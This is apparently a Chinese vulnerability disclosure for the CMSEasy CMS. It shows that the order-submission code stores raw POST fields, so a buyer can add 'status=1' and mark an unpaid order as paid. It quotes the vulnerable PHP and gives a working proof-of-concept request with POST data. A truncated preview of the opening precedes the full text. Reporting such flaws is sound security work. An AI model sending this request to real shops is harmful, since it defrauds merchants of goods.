### 简要描述: cmseasy设计逻辑缺陷可以不花钱买东西 ### 详细说明: archive_act.php: ``` function orders_action() { $this->view->aid = trim(front::get('aid')); if (front::post('submit')) { $this->orders = new orders(); $row = $this->orders->getrow("","adddate DESC"); //var_dump(time()); if($row['adddate'] && time() - $row['adddate'] <= intval(config::get('order_time'))){ alerterror('操作频繁,请稍后再试'); return; } if (front::$post['telphone'] == '') { alerterror('联系电话为必填!'); return; } front::$post['mid'] = $this->view->user['userid'] ? $this->view->user['userid'] : 0; front::$post['adddate'] = time(); front::$post['ip'] = front::ip(); if (isset(front::$post['aid'])) { $aidarr = front::$post['aid']; unset(front::$post['aid']); foreach ($aidarr as $val) { front::$post['aid'].=$val . ','; front::$post['pnums'].=front::$post['thisnum'][$val] . ','; } } else { front::$post['aid'] = $this->view->aid; } if (!isset(front::$post['logisticsid'])) front::$post['logisticsid'] = 0; front::$post['oid'] = date('YmdHis') . '-' ....
### 简要描述: cmseasy设计逻辑缺陷可以不花钱买东西 ### 详细说明: archive_act.php: ``` function orders_action() { $this->view->aid = trim(front::get('aid')); if (front::post('submit')) { $this->orders = new orders(); $row = $this->orders->getrow("","adddate DESC"); //var_dump(time()); if($row['adddate'] && time() - $row['adddate'] <= intval(config::get('order_time'))){ alerterror('操作频繁,请稍后再试'); return; } if (front::$post['telphone'] == '') { alerterror('联系电话为必填!'); return; } front::$post['mid'] = $this->view->user['userid'] ? $this->view->user['userid'] : 0; front::$post['adddate'] = time(); front::$post['ip'] = front::ip(); if (isset(front::$post['aid'])) { $aidarr = front::$post['aid']; unset(front::$post['aid']); foreach ($aidarr as $val) { front::$post['aid'].=$val . ','; front::$post['pnums'].=front::$post['thisnum'][$val] . ','; } } else { front::$post['aid'] = $this->view->aid; } if (!isset(front::$post['logisticsid'])) front::$post['logisticsid'] = 0; front::$post['oid'] = date('YmdHis') . '-' . front::$post['logisticsid'] . '-' . front::$post['mid'] . '-' . front::$post['payname']; $insert = $this->orders->rec_insert(front::$post); ``` 这时候 我们跟进去看看: 这里的条件是填写完整的订单信息,然后默认订单状态为零 就是未支付状态 那么这里又没有对$post传递过来的参数做unset处理,也就是说这里我们可以传入订单的状态 订单分为六个状态 新订单为0 完成所有选项的状态为1 那么我们发送url: http://localhost/uploads/index.php?case=archive&act=orders&aid=10 postdata: pnums=1&pname=xxx&telphone=1111&address=1111111111111&status=1&postcode=710000&content=xxx&submit=+%E6%8F%90%E4%BA%A4+ [<img src="https://images.seebug.org/upload/201411/041907414f4b6f2e37ed187231226a15f6fc5e7e.png" alt="45.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/041907414f4b6f2e37ed187231226a15f6fc5e7e.png) 然后后台查看订单状态: [<img src="https://images.seebug.org/upload/201411/04190835cffddfd64f27d8f37831ca9558a72d2a.png" alt="46.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/04190835cffddfd64f27d8f37831ca9558a72d2a.png) ok!!!! ### 漏洞证明: